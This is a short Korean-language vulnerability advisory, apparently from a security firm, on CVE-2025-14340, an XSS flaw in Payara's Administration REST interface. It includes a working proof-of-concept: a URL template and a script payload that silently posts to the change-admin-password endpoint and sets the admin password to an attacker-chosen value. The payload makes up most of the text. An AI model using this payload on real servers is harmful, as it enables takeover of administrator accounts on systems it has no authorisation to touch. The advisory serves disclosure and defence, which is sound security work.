XSS를 통한 관리자 계정 탈취 (CVE-2025-14340)

Payara의 Administration Rest Interface에서 발생하는 교차 사이트 스크립팅(Cross-Site Scripting) 취약점으로, 공격자가 통제하는 JavaScript가 실행되어 관리자 계정을 탈취할 수 있습니다. 그 이유는 다음과 같습니다.

1. 패널이 HTTP Basic Auth를 사용합니다(동일 출처 요청의 경우 브라우저가 자동으로 자격 증명을 전송함).
2. change-admin-password 엔드포인트는 사용자 비밀번호를 변경할 때 현재 비밀번호를 요구하지 않습니다.
3. change-admin-password 양식에는 CSRF 보호 기능이 없습니다.
4. /management/domain/version의 XSS를 통해 주입된 스크립트는 /management/domain/change-admin-password로 POST 요청을 보내 모든 대상 계정의 비밀번호를 공격자가 선택한 값으로 설정할 수 있습니다. 그 결과 관리자 계정 탈취로 이어집니다.

개념 증명(Proof of Concept)

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

법적 고지

승인된 사용만 허용됩니다. DeepSecurity Perú는 무단 접근을 지지하지 않으며 제공된 정보의 오용에 대해 어떠한 책임도 지지 않습니다.